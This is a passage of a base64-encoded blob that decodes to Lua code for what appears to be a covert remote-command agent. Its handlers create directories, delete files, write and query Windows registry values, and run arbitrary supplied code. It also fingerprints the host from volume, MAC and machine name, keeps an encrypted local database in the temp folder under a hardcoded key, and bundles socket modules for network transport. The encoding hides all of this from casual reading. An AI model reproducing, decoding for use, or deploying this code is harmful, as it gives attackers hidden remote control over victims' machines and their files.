cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
